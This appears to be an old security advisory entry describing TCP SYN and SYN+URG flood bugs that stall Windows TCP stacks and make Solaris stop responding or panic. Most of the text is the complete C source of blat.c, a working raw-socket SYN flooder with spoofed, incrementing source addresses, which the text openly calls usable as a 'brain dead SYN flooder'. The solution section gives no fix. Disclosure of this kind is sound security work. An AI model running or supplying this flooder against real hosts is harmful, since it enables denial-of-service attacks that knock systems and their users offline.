COMMAND

    TCP/IP

SYSTEMS AFFECTED

    TCP/IP

PROBLEM

    Loneguard posted  following.   blat.c was  originally born  out of
    some firewall 'exercising' that he was  doing.  More on that at  a
    later date, but he came across  an amusing bug in some windows  IP
    stacks and a nasty one in Solaris.

    The code  below is  just land.c  slightly modified  to trigger the
    bugs and can be used as a brain dead SYN flooder.  To find  land.c
    or its variant, check:

        http://oliver.efri.hr/~crv/security/bugs/NT/tcpip5.html
        http://oliver.efri.hr/~crv/security/bugs/NT/tcpip6.html

    The  windows  bug  seems  to  have  now  been  fixed but went like
    this....after receiving a large  number of TCP open  requests left
    in the SYN state, the TCP  portion of the IP stack would  cease to
    work.  ICMP,  udp etc were  fine but no  new incoming or  outgoing
    TCP sessions  work.   Further research  lead to  the slowaris  DoS
    regarding its  handling of  TCP open  requests with  the urg  flag
    set.  It would  seem the IP stack  reserves resources for such  an
    urgent open request and after receiving a large number, it  ceases
    to respond. To make things worse, if the admin of the box you blat
    HUPs the controlling process, it panics.

    /* blat.c by Loneguard 14/01/99 ( based on land.c by m3lt, FLC ) */
    
    #include <stdio.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/ip_tcp.h>
    #include <netinet/protocols.h>
    
    struct pseudohdr
    {
            struct in_addr saddr;
            struct in_addr daddr;
            u_char zero;
            u_char protocol;
            u_short length;
            struct tcphdr tcpheader;
    };
    
    u_short checksum(u_short * data,u_short length)
    {
            register long value;
            u_short i;
    
            for(i=0;i<(length>>1);i++)
                    value+=data[i];
    
            if((length&1)==1)
                    value+=(data[i]<<8);
    
            value=(value&65535)+(value>>16);
    
            return(~value);
    }
    
    int main(int argc,char * * argv)
    {
            struct sockaddr_in sin;
            struct sockaddr_in sin2;
            struct hostent * hoste;
            int sock,i;
	    int foobart=1000;
	    u_char foobarflags=TH_SYN;
            char buffer[40];
            struct iphdr * ipheader=(struct iphdr *) buffer;
            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
            struct pseudohdr pseudoheader;
    
            fprintf(stderr,"blat.c by Loneguard\n");
    
            if(argc<4)
            {
                    fprintf(stderr,"usage: %s [source IP] [target IP] [port] <reps> <urg>\n",argv[0]);
                    return(-1);
            }
    
            bzero(&sin,sizeof(struct sockaddr_in));
            sin.sin_family=AF_INET;
            bzero(&sin2,sizeof(struct sockaddr_in));
            sin2.sin_family=AF_INET;
    
            if((hoste=gethostbyname(argv[1]))!=NULL)
                    bcopy(hoste->h_addr,&sin2.sin_addr,hoste->h_length);
            else if((sin2.sin_addr.s_addr=inet_addr(argv[1]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[1]);
                    return(-1);
            }
    
            if((hoste=gethostbyname(argv[2]))!=NULL)
                    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
            else if((sin.sin_addr.s_addr=inet_addr(argv[2]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[2]);
                    return(-1);
            }
    
            if((sin.sin_port=htons(atoi(argv[3])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[3]);
                    return(-1);
            }
    
	    if (argc>=5) foobart=atoi(argv[4]);
    
	    if (argc>=6) foobarflags=0x22;
    
            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
            {
                    fprintf(stderr,"couldn't allocate raw socket\n");
                    return(-1);
            }
    
	    for ( i=0;i<foobart;i++ ) {
    
		    sin2.sin_addr.s_addr=htonl(ntohl(sin2.sin_addr.s_addr)+1);
    
        	    bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
        	    ipheader->version=4;
        	    ipheader->ihl=sizeof(struct iphdr)/4;
        	    ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
        	    ipheader->id=htons(0xF1C);
        	    ipheader->ttl=255;
        	    ipheader->protocol=IP_TCP;
        	    ipheader->saddr=sin2.sin_addr.s_addr;
        	    ipheader->daddr=sin.sin_addr.s_addr;
    
        	    tcpheader->th_sport=sin.sin_port;
        	    tcpheader->th_dport=sin.sin_port;
        	    tcpheader->th_seq=htonl(0xF1C);
        	    /* tcpheader->th_flags=TH_SYN&&TH_URG; */
        	    tcpheader->th_flags=foobarflags;
        	    tcpheader->th_off=sizeof(struct tcphdr)/4;
        	    tcpheader->th_win=htons(2048);
		    tcpheader->th_urp=htons(666);
    
        	    bzero(&pseudoheader,12+sizeof(struct tcphdr));
        	    pseudoheader.saddr.s_addr=sin2.sin_addr.s_addr;
        	    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        	    pseudoheader.protocol=6;
        	    pseudoheader.length=htons(sizeof(struct tcphdr));
        	    bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        	    tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    
        	    if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
        	    {
                	    fprintf(stderr,"couldn't send packet\n");
                	    return(-1);
        	    }
	    }
    
            fprintf(stderr,"%s:%s blated!\n",argv[2],argv[3]);
    
            close(sock);
            return(0);
    }

SOLUTION

    Nothing yet.